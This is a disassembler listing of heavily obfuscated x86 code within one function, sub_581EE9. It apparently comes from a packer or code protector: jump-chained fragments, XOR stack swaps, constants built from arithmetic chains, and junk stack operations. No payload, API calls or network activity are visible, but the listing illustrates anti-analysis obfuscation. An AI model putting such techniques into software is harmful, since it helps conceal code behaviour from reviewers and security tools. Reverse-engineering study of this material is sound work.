; ---------------------------------------------------------------------------


loc_598C0A:				; CODE XREF: sub_581EE9+2007Dj
		add	edx, 1E7A42C0h
		pop	ecx
		add	edx, 4
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		xchg	ebp, [esp-6E94h+arg_6E8A+2]
		pop	esp
		mov	cx, word ptr [esp-6E98h+arg_6E8E+2]
		push	1850h
		jmp	loc_5A49C7
; ---------------------------------------------------------------------------


loc_598C33:				; CODE XREF: sub_581EE9+1257Cj
		mov	ebx, [esp-6E9Ah+arg_6E92]
		jmp	loc_596B29
; ---------------------------------------------------------------------------


loc_598C3B:				; CODE XREF: sub_581EE9+1D272j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59AFD1
; ---------------------------------------------------------------------------


loc_598C48:				; CODE XREF: sub_581EE9+19512j
		mov	cx, word ptr [esp-6E9Ah+arg_6E92]
		jmp	loc_595740
; ---------------------------------------------------------------------------


loc_598C51:				; CODE XREF: sub_581EE9+14E52j
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 1EB57AB2h
		xor	ecx, 64AA3048h
		neg	ecx
		jmp	loc_5A2BF1
; ---------------------------------------------------------------------------


loc_598C67:				; CODE XREF: sub_581EE9+15BD3j
		xor	esi, 2D31355Ch
		jmp	loc_59B2CD
; ---------------------------------------------------------------------------


loc_598C72:				; CODE XREF: sub_581EE9+11432j
		mov	[esp-6E8Ch+arg_6E84], ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		jmp	loc_59F9E5
; ---------------------------------------------------------------------------


loc_598C82:				; CODE XREF: sub_581EE9+1CD2Fj
		push	eax
		push	3EBBh
		mov	[esp-6E88h+arg_6E80], ebx
		mov	bh, dl
		mov	ah, bh
		jmp	loc_5A0597
; ---------------------------------------------------------------------------


loc_598C94:				; CODE XREF: sub_581EE9+21589j
		xor	dh, 2Bh
		sub	al, dh
		mov	edx, [esp-6E88h+arg_6E80]
		jmp	loc_594604
; ---------------------------------------------------------------------------


loc_598CA1:				; CODE XREF: sub_581EE9+10D33j
		push	edx
		jmp	loc_5988FC
; ---------------------------------------------------------------------------


loc_598CA7:				; CODE XREF: sub_581EE9+221A8j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E76h+arg_6E6E]
		pop	esp
		jmp	loc_5998FE
; ---------------------------------------------------------------------------


loc_598CB9:				; CODE XREF: sub_581EE9+240A4j
		add	bl, 17h
		sub	bl, dh
		sub	bl, 17h
		jmp	loc_5A5C67
; ---------------------------------------------------------------------------


loc_598CC6:				; CODE XREF: sub_581EE9+1964Ej
		mov	ebx, 45D71B2Eh
		add	ebp, 724E4BC4h
		add	ebp, ebx
		sub	ebp, 724E4BC4h
		mov	ebx, [esp-6E7Ah+arg_6E72]
		add	esp, 4
		neg	ebp
		push	ebx
		jmp	loc_59BED6
; ---------------------------------------------------------------------------


loc_598CE7:				; CODE XREF: sub_581EE9+1C984j
		sub	ebp, 0D44238ABh
		add	ecx, ebp
		pop	ebp
		add	ecx, 16DA53F6h
		sub	ecx, edi
		sub	ecx, 16DA53F6h
		sub	ecx, 7B7B2487h
		mov	edi, [esp-6E7Eh+arg_6E76]
		add	esp, 4
		jmp	loc_5A60EB
; ---------------------------------------------------------------------------


loc_598D0F:				; CODE XREF: sub_581EE9+24CCDj
		pop	esp
		xchg	edi, [esp-6E86h+arg_6E7C+2]
		pop	esp
		mov	[esp-6E8Ah+arg_6E80+2],	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		add	edx, 4
		jmp	loc_5987DF
; ---------------------------------------------------------------------------


loc_598D35:				; CODE XREF: sub_581EE9+23225j
		mov	[esp-6E8Ah+arg_6E80+2],	ebx
		mov	ebx, 66F366FDh
		push	ebx
		sub	[esp-6E86h+arg_6E7C+2],	6EFC0BF5h
		jmp	loc_59CB39
; ---------------------------------------------------------------------------


loc_598D4A:				; CODE XREF: sub_581EE9+182F2j
		dec	ecx
		not	ecx
		jmp	loc_593436
; ---------------------------------------------------------------------------


loc_598D52:				; CODE XREF: sub_581EE9+10ADBj
		push	ebx
		mov	ebx, esp
		jmp	loc_597024
; ---------------------------------------------------------------------------


loc_598D5A:				; CODE XREF: sub_581EE9+16AF0j
		mov	ebx, [esp-6EACh+arg_6EA4]
		jmp	loc_5A6919
; ---------------------------------------------------------------------------


loc_598D62:				; CODE XREF: sub_581EE9+13CA1j
		xchg	ebx, ebp
		not	ebx
		xchg	ebx, ebp
		xor	ebp, 3FFD13FBh
		jmp	loc_59D370
; ---------------------------------------------------------------------------


loc_598D73:				; CODE XREF: sub_581EE9+1A092j
		not	ecx
		jmp	loc_5A67AC
; ---------------------------------------------------------------------------


loc_598D7A:				; CODE XREF: sub_581EE9+1ACAEj
		add	ebx, 4
		jmp	loc_59D87A
; ---------------------------------------------------------------------------


loc_598D85:				; CODE XREF: sub_581EE9+1C07Cj
		xchg	ecx, [esp-6EA6h+arg_6E9E]
		pop	esp
		jmp	loc_5A2565
; ---------------------------------------------------------------------------


loc_598D8E:				; CODE XREF: sub_581EE9+147F1j
		xchg	eax, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		jmp	loc_5A2E96
; ---------------------------------------------------------------------------


loc_598D97:				; CODE XREF: sub_581EE9+1E1C0j
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_59213A
; ---------------------------------------------------------------------------


loc_598DA3:				; CODE XREF: sub_581EE9+2296Fj
		pop	edx
		xor	edi, [esp-6ECCh+arg_6EC2+2]
		xor	[esp-6ECCh+arg_6EC2+2],	edi
		xor	edi, [esp-6ECCh+arg_6EC2+2]
		pop	esp
		jmp	loc_5A2D34
; ---------------------------------------------------------------------------


loc_598DB3:				; CODE XREF: sub_581EE9+1B4E5j
		pop	ebp
		xchg	edi, [esp-6ED4h+arg_6ECA+2]
		jmp	loc_596B57
; ---------------------------------------------------------------------------


loc_598DBC:				; CODE XREF: sub_581EE9+11FB9j
		mov	ecx, [esp-6E94h+arg_6E8A+2]
		add	esp, 4
		add	[esp-6E98h+arg_6E8E+2],	5D0E5B67h
		jmp	loc_5A0668
; ---------------------------------------------------------------------------


loc_598DD1:				; CODE XREF: sub_581EE9+1F7A0j
		sub	ecx, 4624386h
		pop	esi
		sub	ecx, 6351F06h
		pop	edi
		add	edi, ecx
		pop	ecx
		jmp	loc_599DC9
; ---------------------------------------------------------------------------


loc_598DE7:				; CODE XREF: sub_581EE9+1D33Cj
		pop	edx
		and	ecx, edx
		mov	edx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_5A2850
; ---------------------------------------------------------------------------


loc_598DF2:				; CODE XREF: sub_581EE9+12C0Ej
		mov	esp, [esp-6E68h+arg_6E60]
		push	esp
		pop	[esp-6E64h+arg_6E5C]
		jmp	loc_5A06CA
; ---------------------------------------------------------------------------


loc_598DFE:				; CODE XREF: sub_581EE9+1FF22j
		sub	dh, 2Ch
		push	17A9h
		mov	[esp-6E64h+arg_6E5C], ebx
		jmp	loc_5998C4
; ---------------------------------------------------------------------------


loc_598E0E:				; CODE XREF: sub_581EE9+1A567j
		xchg	edx, [esp-6E64h+arg_6E5C]
		pop	esp
		mov	[esp-6E68h+arg_6E60], esp
		add	[esp-6E68h+arg_6E60], 4
		pop	eax
		add	eax, 4
		sub	esp, 4
		mov	[esp-6E68h+arg_6E60], edi
		push	7B91h
		jmp	loc_5922F5
; ---------------------------------------------------------------------------


loc_598E32:				; CODE XREF: sub_581EE9+1ED5Fj
		mov	[esp-6E64h+arg_6E5C], edi
		jmp	loc_5A2145
; ---------------------------------------------------------------------------


loc_598E3A:				; CODE XREF: sub_581EE9+24181j
		pop	ebx
		sub	eax, 4
		xchg	eax, [esp-6E68h+arg_6E60]
		mov	esp, [esp-6E68h+arg_6E60]
		mov	[esp-6E68h+arg_6E60], eax
		push	66A7h
		mov	[esp-6E64h+arg_6E5C], ebx
		jmp	loc_5A69A8
; ---------------------------------------------------------------------------


loc_598E54:				; CODE XREF: sub_581EE9+12A23j
		mov	esp, [esp-6E9Eh+arg_6E96]
		jmp	loc_5A5C2F
; ---------------------------------------------------------------------------


loc_598E5C:				; CODE XREF: sub_581EE9+18032j
		sub	cl, 0BFh
		add	bl, cl
		push	[esp-6E9Eh+arg_6E96]
		jmp	loc_5924A4
; ---------------------------------------------------------------------------


loc_598E69:				; CODE XREF: sub_581EE9+1FBA7j
		add	eax, ebp
		add	eax, 6D1A64AFh
		pop	ebp
		push	6432h
		mov	[esp-6E9Ah+arg_6E92], edx
		push	ecx
		push	edx
		push	451B2D2Eh
		pop	edx
		and	edx, 51357147h
		shr	edx, 8
		inc	edx
		sub	edx, 8DDD9380h
		mov	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp-6E92h+arg_6E8A], edi
		push	8D9C8260h
		pop	edi
		sub	ecx, 3F0E2075h
		add	ecx, edi
		push	esi
		jmp	loc_59FE3A
; ---------------------------------------------------------------------------


loc_598EAE:				; CODE XREF: sub_581EE9+144DAj
		push	26E43C89h
		pop	ecx
		and	ecx, 3890331Dh
		push	7E5Dh
		mov	[esp-6EA6h+arg_6E9E], edi
		jmp	loc_59F9EC
; ---------------------------------------------------------------------------


loc_598EC7:				; CODE XREF: sub_581EE9+1E16Dj
		add	ebx, 323F6D90h
		jmp	loc_599C23
; ---------------------------------------------------------------------------


loc_598ED2:				; CODE XREF: sub_581EE9+123A9j
		push	ecx
		mov	ecx, 57590458h
		and	ecx, 53CB0A7Fh
		jmp	loc_5923A5
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ecx
		sub	esp, 4
		mov	[esp-6E6Eh+arg_6E64+2],	eax
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	ebp
		push	ebx
		mov	ebx, 3440292Ch
		jmp	loc_59888F
; ---------------------------------------------------------------------------


loc_598F04:				; CODE XREF: sub_581EE9+11748j
		pop	esp
		sub	esp, 4
		jmp	loc_59504B
; ---------------------------------------------------------------------------


loc_598F0D:				; CODE XREF: sub_581EE9+107CEj
		mov	[esp-6EA8h+arg_6E9E+2],	esp
		jmp	loc_5A1AEE
; ---------------------------------------------------------------------------


loc_598F15:				; CODE XREF: sub_581EE9+226BBj
		sub	esp, 4
		jmp	loc_59EA7A
; ---------------------------------------------------------------------------


loc_598F20:				; CODE XREF: sub_581EE9+1EFC1j
		mov	edx, 14891745h
		mov	esi, edx
		pop	edx
		jmp	loc_59DA8E
; ---------------------------------------------------------------------------


loc_598F2D:				; CODE XREF: sub_581EE9+1E0CDj
		add	esi, 3DA72C1Eh
		jmp	loc_597731
; ---------------------------------------------------------------------------


loc_598F38:				; CODE XREF: sub_581EE9+186B1j
		pop	eax
		jmp	loc_5A7080
; ---------------------------------------------------------------------------


loc_598F3E:				; CODE XREF: sub_581EE9+173BBj
		push	edx
		mov	edx, 6F904A2Fh
		or	esi, edx
		mov	edx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_598995
; ---------------------------------------------------------------------------


loc_598F4E:				; CODE XREF: sub_581EE9+1BD99j
		sub	edi, 0FFFFFFFFh
		jmp	loc_59C28E
; ---------------------------------------------------------------------------


loc_598F56:				; CODE XREF: sub_581EE9+23D79j
		mov	edx, [esp-6EA8h+arg_6E9E+2]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		jmp	loc_59E45B
; ---------------------------------------------------------------------------


loc_598F62:				; CODE XREF: sub_581EE9+13795j
		sub	ebx, edx
		add	ebx, 17113283h
		mov	edx, ebx
		mov	ebx, [esp-6E76h+arg_6E6E]
		add	esp, 4
		shr	edx, 3
		shl	edx, 8
		push	229h
		mov	[esp-6E76h+arg_6E6E], ebx
		mov	ebx, 6AA574FCh
		neg	ebx
		xor	ebx, 2124D85h
		xor	edx, ebx
		pop	ebx
		xor	ebp, edx
		pop	edx
		add	ecx, ebp
		mov	ebp, [esp-6E7Eh+arg_6E76]
		jmp	loc_596789
; ---------------------------------------------------------------------------


loc_598FA0:				; CODE XREF: sub_581EE9+18107j
		pop	edx
		jmp	loc_5927E7
; ---------------------------------------------------------------------------


loc_598FA6:				; CODE XREF: sub_581EE9+1B795j
		add	edx, esi
		sub	edx, 4375E6Dh
		pop	esi
		push	eax
		mov	eax, 39592AE9h
		add	eax, 67BE371Ah
		add	eax, 0FFFFFFFFh
		neg	eax
		jmp	loc_5A114A
; ---------------------------------------------------------------------------


loc_598FC6:				; CODE XREF: sub_581EE9+163DAj
		pop	edx
		jmp	loc_59F720
; ---------------------------------------------------------------------------


loc_598FCC:				; CODE XREF: sub_581EE9+210DAj
		pop	edx
		shl	ebx, 2
		jmp	loc_5A6136
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		mov	[esp-6ED4h+arg_6ECA+2],	ecx
		push	bx
		mov	bl, 5Dh
		jmp	loc_593F91
; ---------------------------------------------------------------------------


loc_598FE5:				; CODE XREF: sub_581EE9+24752j
		xor	eax, edi
		add	eax, 1
		push	0E02h
		mov	[esp-6ECEh+arg_6EC6], edx
		push	ecx
		mov	ecx, 0F710D66h
		mov	edx, ecx
		pop	ecx
		xor	edx, 65A647B2h
		jmp	loc_596214
; ---------------------------------------------------------------------------


loc_599008:				; CODE XREF: sub_581EE9+1B3AEj
		sub	esi, 1
		jmp	loc_59AC63
; ---------------------------------------------------------------------------


loc_599013:				; CODE XREF: sub_581EE9+1BA56j
		mov	[esp-6ECEh+arg_6EC6], edx
		mov	dl, 0FEh
		xor	dl, 53h
		or	dl, 2
		push	52F7h
		mov	[esp-6ECAh+arg_6EC2], ebx
		mov	bl, dl
		not	bl
		jmp	loc_5A6AAC
; ---------------------------------------------------------------------------


loc_59902F:				; CODE XREF: sub_581EE9+246DBj
		add	eax, 4
		jmp	loc_592A32
; ---------------------------------------------------------------------------


loc_599039:				; CODE XREF: sub_581EE9+111F6j
		push	esi
		mov	esi, esp
		push	ecx
		mov	ecx, 3ADC6C9Fh
		not	ecx
		neg	ecx
		sub	ecx, 6CD17020h
		sub	ecx, 0CE0AFC7Ch
		add	esi, ecx
		pop	ecx
		add	esi, 4
		xchg	esi, [esp-6E42h+arg_6E3A]
		pop	esp
		jmp	loc_5A275D
; ---------------------------------------------------------------------------


loc_599064:				; CODE XREF: sub_581EE9+13CEAj
		sub	edi, 4
		xchg	edi, [esp-6E66h+arg_6E5C+2]
		pop	esp
		mov	[esp-6E6Ah+arg_6E60+2],	ebp
		push	69D1h
		mov	[esp-6E66h+arg_6E5C+2],	esp
		add	[esp-6E66h+arg_6E5C+2],	4
		jmp	loc_59F237
; ---------------------------------------------------------------------------


loc_599082:				; CODE XREF: sub_581EE9+172D6j
		mov	ecx, 23B779A9h
		jmp	loc_59D46A
; ---------------------------------------------------------------------------


loc_59908C:				; CODE XREF: sub_581EE9+1BF43j
		push	[esp-6E66h+arg_6E5C+2]
		mov	edi, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		add	esp, 4
		sub	[edi+24h], ebx
		mov	ebx, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4


loc_5990A4:				; CODE XREF: sub_581EE9+18ACBj
		push	ebx
		jmp	loc_59E6EC
; ---------------------------------------------------------------------------


loc_5990AA:				; CODE XREF: sub_581EE9+11323j
		mov	ebx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		shl	esi, 6
		push	esi
		xchg	ebp, [esp-6EA4h+arg_6E9A+2]
		not	ebp
		push	ebp
		push	[esp-6EA0h+arg_6E9A+2]
		jmp	loc_5A24E2
; ---------------------------------------------------------------------------


loc_5990C6:				; CODE XREF: sub_581EE9+14B08j
		mov	cx, word ptr [esp-6EAEh+arg_6EA4+2]
		add	esp, 2
		jmp	loc_59B35F
; ---------------------------------------------------------------------------


loc_5990D5:				; CODE XREF: sub_581EE9+1906Aj
		not	ebx
		xchg	ebx, ebp
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_596EBA
; ---------------------------------------------------------------------------


loc_5990E2:				; CODE XREF: sub_581EE9+130DEj
		sub	edi, 4
		xchg	edi, [esp-6E88h+arg_6E80]
		pop	esp
		mov	[esp], ebx
		push	ebp
		mov	ebp, 4DC25EABh
		mov	ebx, 5C5B6B62h
		xor	ebx, ebp
		push	[esp-6E88h+arg_6E80]
		jmp	loc_595211
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E84h+arg_6E7C]
		push	0B62h
		mov	[esp-6E80h+arg_6E76+2],	edi
		mov	edi, esp
		jmp	loc_59288C
; ---------------------------------------------------------------------------


loc_599114:				; CODE XREF: sub_581EE9+199ADj
		pop	edi
		sub	edi, 6D7A37F2h
		jmp	loc_5A067D
; ---------------------------------------------------------------------------


loc_599120:				; CODE XREF: sub_581EE9+159EAj
		mov	[esp-6E6Ah+arg_6E60+2],	ebp
		mov	ebp, 1
		push	ecx
		mov	ecx, ebp
		push	2F51h
		mov	[esp-6E62h+arg_6E58+2],	ecx
		xor	[esp-6E62h+arg_6E58+2],	0B213F61h
		mov	edi, [esp-6E62h+arg_6E58+2]
		add	esp, 4
		xor	edi, 0B213F61h
		pop	ecx
		pop	ebp
		and	eax, edi
		push	[esp-6E6Eh+arg_6E64+2]
		pop	edi
		jmp	loc_5A3CA1
; ---------------------------------------------------------------------------


loc_599156:				; CODE XREF: sub_581EE9+11269j
		add	eax, esi
		jmp	loc_597191
; ---------------------------------------------------------------------------


loc_59915D:				; CODE XREF: sub_581EE9+12389j
		push	esp
		jmp	loc_59E9CD
; ---------------------------------------------------------------------------


loc_599163:				; CODE XREF: sub_581EE9+1CD7Fj
		push	edi
		push	eax
		mov	eax, 784A62D5h
		shl	eax, 7
		and	eax, 60386603h
		jmp	loc_5945E9
; ---------------------------------------------------------------------------


loc_599177:				; CODE XREF: sub_581EE9+1C833j
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599182:				; CODE XREF: sub_581EE9+23CA2j
		mov	esi, [esp-6E6Eh+arg_6E64+2]
		add	esp, 4
		jmp	loc_59441B
; ---------------------------------------------------------------------------


loc_599190:				; CODE XREF: sub_581EE9+1C0A3j
		pop	ebx
		push	3B59h
		jmp	loc_59DA00
; ---------------------------------------------------------------------------


loc_59919B:				; CODE XREF: sub_581EE9+1F0E9j
		dec	ch
		sub	ch, 8
		push	ebx
		mov	bl, 4
		add	bl, 0B5h
		shr	bl, 8
		xor	bl, 21h
		jmp	loc_5A343E
; ---------------------------------------------------------------------------


loc_5991B1:				; CODE XREF: sub_581EE9+13487j
		and	ebp, 361C567Ah
		push	447Eh
		mov	[esp-6E66h+arg_6E5C+2],	ecx
		jmp	loc_599082
; ---------------------------------------------------------------------------


loc_5991C4:				; CODE XREF: sub_581EE9+230F0j
		push	edx
		jmp	loc_5A514C
; ---------------------------------------------------------------------------


loc_5991CA:				; CODE XREF: sub_581EE9+1F7CCj
		pop	ecx
		mov	edx, [esp-6E66h+arg_6E5C+2]
		jmp	loc_59C01B
; ---------------------------------------------------------------------------


loc_5991D3:				; CODE XREF: sub_581EE9+1244Fj
		mov	ebx, 361E516Bh
		mov	esi, 361E516Fh
		jmp	loc_59FD38
; ---------------------------------------------------------------------------


loc_5991E2:				; CODE XREF: sub_581EE9+14CFAj
		mov	edi, 0B4C7D522h
		xor	edi, ecx
		push	[esp-6E7Ah+arg_6E72]
		mov	ecx, [esp-6E76h+arg_6E6E]
		jmp	loc_59390B
; ---------------------------------------------------------------------------


loc_5991F4:				; CODE XREF: sub_581EE9+1C633j
		add	esp, 4
		jmp	loc_59D1F1
; ---------------------------------------------------------------------------


loc_5991FC:				; CODE XREF: sub_581EE9+22A29j
		sub	dl, 6Ah
		jmp	loc_5A33D2
; ---------------------------------------------------------------------------


loc_599204:				; CODE XREF: sub_581EE9+248BEj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp-6E7Ah+arg_6E72]
		push	ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 7ECF5CC0h
		not	ebp
		add	ebp, 7ECF5CC5h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp-6E76h+arg_6E6E]
		xor	[esp-6E76h+arg_6E6E], ebx
		xor	ebx, [esp-6E76h+arg_6E6E]
		jmp	loc_59C9D1
; ---------------------------------------------------------------------------


loc_599238:				; CODE XREF: sub_581EE9+249AAj
		mov	[esp-6E76h+arg_6E6E], ecx
		push	ebp
		jmp	loc_593B66
; ---------------------------------------------------------------------------


loc_599241:				; CODE XREF: sub_581EE9+126CAj
		add	edi, esi
		mov	esi, [esp-6E88h+arg_6E80]
		add	esp, 4
		push	esi
		jmp	loc_5A5F6E
; ---------------------------------------------------------------------------


loc_599252:				; CODE XREF: sub_581EE9+1DE2Aj
		sub	ebp, 638B4A5Dh
		add	ebp, ebx
		add	ebp, 638B4A5Dh
		mov	ebx, [esp-6E88h+arg_6E80]
		add	esp, 4
		push	edx
		push	ebp
		mov	ebp, 2CF75857h
		add	ebp, 0D308A7ABh
		push	ebx
		mov	ebx, ebp
		mov	edx, ebx
		pop	ebx
		jmp	loc_5A45F1
; ---------------------------------------------------------------------------


loc_59927E:				; CODE XREF: sub_581EE9+22F82j
		add	[esp-6E84h+arg_6E7C], 4
		pop	ebx
		add	ebx, 4
		push	eax
		push	ebx
		push	4CE56D39h
		pop	ebx
		mov	eax, 1ECECEBFh
		add	eax, ebx
		pop	ebx
		jmp	loc_59989C
; ---------------------------------------------------------------------------


loc_59929E:				; CODE XREF: sub_581EE9+143F8j
		sub	esi, ebp
		pop	ebp
		shr	esi, 4
		jmp	loc_598F3E
; ---------------------------------------------------------------------------


loc_5992A9:				; CODE XREF: sub_581EE9+1B434j
		shl	edx, 1
		push	3E9Bh
		mov	[esp-6EACh+arg_6EA4], ebx
		mov	ebx, 79F818DAh
		neg	ebx
		xchg	ebp, ebx
		neg	ebp
		xchg	ebp, ebx
		neg	ebx
		sub	ebx, 553812D0h
		add	ebx, 5958E6DAh
		xor	edx, ebx
		push	[esp-6EACh+arg_6EA4]
		pop	ebx
		jmp	loc_5A05E3
; ---------------------------------------------------------------------------


loc_5992D9:				; CODE XREF: sub_581EE9+14B80j
		add	ch, al
		mov	eax, [esp-6EA0h+arg_6E96+2]
		push	ebp
		push	esp
		mov	ebp, [esp-6E98h+arg_6E8E+2]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E9Ch+arg_6E92+2]
		pop	esp
		dec	ch
		neg	ch
		jmp	loc_59392E
; ---------------------------------------------------------------------------


loc_5992FC:				; CODE XREF: sub_581EE9+164EEj
		push	esp
		pop	eax
		push	esi
		push	4B4F2DE6h
		mov	esi, [esp-6E6Ah+arg_6E60+2]
		add	esp, 4
		jmp	loc_5953D5
; ---------------------------------------------------------------------------


loc_59930F:				; CODE XREF: sub_581EE9+23FB3j
		add	ebx, eax
		push	ecx
		mov	ecx, 595A5765h
		jmp	loc_59734C
; ---------------------------------------------------------------------------


loc_59931C:				; CODE XREF: sub_581EE9+14581j
		mov	edx, 3BC35B0Eh
		xor	edx, 3BC35B0Ah
		mov	ecx, edx
		jmp	loc_59A4E6
; ---------------------------------------------------------------------------


loc_59932E:				; CODE XREF: sub_581EE9+125BDj
		pop	ebx
		jmp	loc_594808
; ---------------------------------------------------------------------------


loc_599334:				; CODE XREF: sub_581EE9+1DB4Cj
		sub	ecx, 4
		xchg	ecx, [esp-6EA6h+arg_6E9E]
		pop	esp
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		jmp	loc_59C1FE
; ---------------------------------------------------------------------------


loc_599346:				; CODE XREF: sub_581EE9+21D59j
		push	52C4110Fh
		jmp	loc_59A6D6
; ---------------------------------------------------------------------------


loc_599350:				; CODE XREF: sub_581EE9+2357Dj
		pop	esp
		jmp	loc_5A4F4A
; ---------------------------------------------------------------------------


loc_599356:				; CODE XREF: sub_581EE9+22253j
		pop	ebx
		jmp	loc_59BB37
; ---------------------------------------------------------------------------


loc_59935C:				; CODE XREF: sub_581EE9+22BBCj
		xor	bl, 0DEh
		push	9FFh
		jmp	loc_5A48E3
; ---------------------------------------------------------------------------


loc_599369:				; CODE XREF: sub_581EE9+122A0j
		sub	edi, 0EFF36FF3h
		jmp	loc_59A537
; ---------------------------------------------------------------------------


loc_599374:				; CODE XREF: sub_581EE9+2118Aj
		add	[esp-6E66h+arg_6E60+2],	3D4667B5h
		jmp	loc_598AC0
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-6E66h+arg_6E5C+2]
		push	7246h
		mov	[esp-6E62h+arg_6E58+2],	edi
		push	2C4Bh
		jmp	loc_5A0778
; ---------------------------------------------------------------------------


loc_599397:				; CODE XREF: sub_581EE9+19839j
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		sub	esi, 52A34505h
		add	esi, eax
		jmp	loc_5A42DE
; ---------------------------------------------------------------------------


loc_5993B2:				; CODE XREF: sub_581EE9+1CFA1j
		xor	ecx, ebx
		push	[esp-6E5Ah+arg_6E50+2]
		pop	ebx
		jmp	loc_5A44F6
; ---------------------------------------------------------------------------


loc_5993BD:				; CODE XREF: sub_581EE9+10AB2j
		shl	edx, 1
		push	616Bh
		mov	[esp-6E9Eh+arg_6E96], ecx
		jmp	loc_59E20E
; ---------------------------------------------------------------------------


loc_5993CC:				; CODE XREF: sub_581EE9+244B1j
		pop	esp
		add	esp, 4
		push	dword ptr [ecx]
		xor	[esp-6EA2h+arg_6E9A], 7A485EE7h
		jmp	loc_597811
; ---------------------------------------------------------------------------


loc_5993E1:				; CODE XREF: sub_581EE9+13EEBj
		add	ebx, 0BEB3189h
		pop	edi
		jmp	loc_599DE9
; ---------------------------------------------------------------------------


loc_5993ED:				; CODE XREF: sub_581EE9+1E654j
		add	esp, 4
		xor	ecx, [esp-6E9Eh+arg_6E96]
		xor	[esp-6E9Eh+arg_6E96], ecx
		xor	ecx, [esp-6E9Eh+arg_6E96]
		mov	esp, [esp-6E9Eh+arg_6E96]
		cmp	ecx, eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599407:				; CODE XREF: sub_581EE9+1CB63j
		shr	ebp, 8
		add	ebp, 1
		sub	ebp, 0AC901B6Eh
		sub	edx, ebp
		pop	ebp
		pop	eax
		xchg	edx, [esp-6EA2h+arg_6E9A]
		mov	esp, [esp-6EA2h+arg_6E9A]
		xor	[esp-6EA2h+arg_6E9A], eax
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_599429:				; CODE XREF: sub_581EE9+2369Aj
		sub	esp, 4
		mov	[esp-6E9Ah+arg_6E92], ebp
		push	[esp-6E9Ah+arg_6E96]
		push	[esp-6E96h+arg_6E8E]
		pop	ebp
		jmp	loc_5A2F8F
; ---------------------------------------------------------------------------


loc_59943C:				; CODE XREF: sub_581EE9+16911j
		mov	[esp-6E98h+arg_6E8E+2],	ecx
		push	ebp
		jmp	loc_5A3516
; ---------------------------------------------------------------------------


loc_599445:				; CODE XREF: sub_581EE9+151E6j
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp-6E78h+arg_6E6E+2]
		add	esp, 4
		push	ecx
		mov	ecx, 66F668C7h
		xor	ecx, 66F668C3h
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp-6E7Ch+arg_6E72+2]
		pop	esp
		jmp	loc_59DB89
; ---------------------------------------------------------------------------


loc_59946D:				; CODE XREF: sub_581EE9+23B4Aj
		push	edi
		jmp	loc_59CF6C
; ---------------------------------------------------------------------------


loc_599473:				; CODE XREF: sub_581EE9+24323j
		or	eax, esi
		pop	esi
		jmp	loc_5A29B0
; ---------------------------------------------------------------------------


loc_59947B:				; CODE XREF: sub_581EE9+20E96j
		push	ebx
		mov	bh, 90h
		push	eax
		mov	ah, 41h
		not	ah
		jmp	loc_59E8C9
; ---------------------------------------------------------------------------


loc_599488:				; CODE XREF: sub_581EE9+1F761j
		mov	[esp-6E78h+arg_6E6E+2],	edi
		jmp	loc_5A6FC0
; ---------------------------------------------------------------------------


loc_599490:				; CODE XREF: sub_581EE9+1B29Aj
		mov	[esp-6E78h+arg_6E6E+2],	ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 1863541Dh
		sub	ebp, 95030E5h
		sub	ebp, 0F132334h
		add	ecx, 76E50E63h
		add	ecx, ebp
		jmp	loc_59B09B
; ---------------------------------------------------------------------------


loc_5994B4:				; CODE XREF: sub_581EE9+22C06j
		mov	[esp+0], ebx
		sub	esp, 4
		jmp	loc_5A3C0D
; ---------------------------------------------------------------------------


loc_5994BF:				; CODE XREF: sub_581EE9+1E6D4j
		mov	[esp-6E70h+arg_6E68], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A043A
; ---------------------------------------------------------------------------


loc_5994CF:				; CODE XREF: sub_581EE9+18A42j
		sub	ebp, ecx
		jmp	loc_5A5BF7
; ---------------------------------------------------------------------------


loc_5994D6:				; CODE XREF: sub_581EE9+1B59Cj
		add	ebx, 4
		jmp	loc_59FD7C
; ---------------------------------------------------------------------------


loc_5994DE:				; CODE XREF: sub_581EE9+14C43j
		push	esi
		push	[esp-6E5Ah+arg_6E54+2]
		pop	esi
		pop	[esp-6E5Ah+arg_6E50+2]
		pop	esp
		sub	esp, 4
		mov	[esp-6E5Eh+arg_6E54+2],	eax
		push	esp
		jmp	loc_5A272B
; ---------------------------------------------------------------------------


loc_5994F4:				; CODE XREF: sub_581EE9+1F7BEj
		push	ebp
		mov	ebp, edi
		jmp	loc_5962C9
; ---------------------------------------------------------------------------


loc_5994FC:				; CODE XREF: sub_581EE9+1DB57j
		shl	ebp, 4
		shr	ebp, 7
		sub	ebp, 1DFE47Ah
		add	esi, ebp
